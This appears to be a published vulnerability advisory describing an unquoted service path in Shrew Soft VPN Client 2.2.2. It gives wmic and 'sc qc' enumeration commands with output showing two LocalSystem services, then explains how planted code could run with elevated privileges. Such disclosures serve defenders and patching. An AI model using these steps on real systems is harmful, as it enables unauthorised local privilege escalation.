Shrew Soft VPN Client 2.2.2 Unquoted Service Path

`# Exploit Title: Shrew Soft VPN Client 2.2.2 - 'iked' Unquoted Service Path  
# Date: 2019-11-14  
# Exploit Author: D.Goedecke  
# Vendor Homepage: www.shrew.net  
# Software Link: https://www.shrew.net/download/vpn/vpn-client-2.2.2-release.exe  
# Version: 2.2.2  
# Tested on: Windows 10 64bit  
  
  
C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """  
ShrewSoft IKE Daemon iked C:\Program Files\ShrewSoft\VPN Client\iked.exe -service Auto  
ShrewSoft IPSEC Daemon ipsecd C:\Program Files\ShrewSoft\VPN Client\ipsecd.exe -service Auto   
  
  
C:\Users\user>sc qc iked  
[SC] QueryServiceConfig SUCCESS  
  
SERVICE_NAME: iked  
TYPE : 10 WIN32_OWN_PROCESS  
START_TYPE : 2 AUTO_START  
ERROR_CONTROL : 1 NORMAL  
BINARY_PATH_NAME : C:\Program Files\ShrewSoft\VPN Client\iked.exe -service  
LOAD_ORDER_GROUP :  
TAG : 0  
DISPLAY_NAME : ShrewSoft IKE Daemon  
DEPENDENCIES :  
SERVICE_START_NAME : LocalSystem  
  
C:\Users\user>sc qc ipsecd  
[SC] QueryServiceConfig SUCCESS  
  
SERVICE_NAME: ipsecd  
TYPE : 10 WIN32_OWN_PROCESS  
START_TYPE : 2 AUTO_START  
ERROR_CONTROL : 1 NORMAL  
BINARY_PATH_NAME : C:\Program Files\ShrewSoft\VPN Client\ipsecd.exe -service  
LOAD_ORDER_GROUP :  
TAG : 0  
DISPLAY_NAME : ShrewSoft IPSEC Daemon  
DEPENDENCIES :  
SERVICE_START_NAME : LocalSystem   
  
  
  
#Exploit:  
============  
A successful attempt would require the local user to be able to insert  
their code in the system root path undetected by the OS or other  
security applications where it could potentially be executed during  
application startup or reboot. If successful, the local user's code  
would execute with the elevated privileges of the application.  
`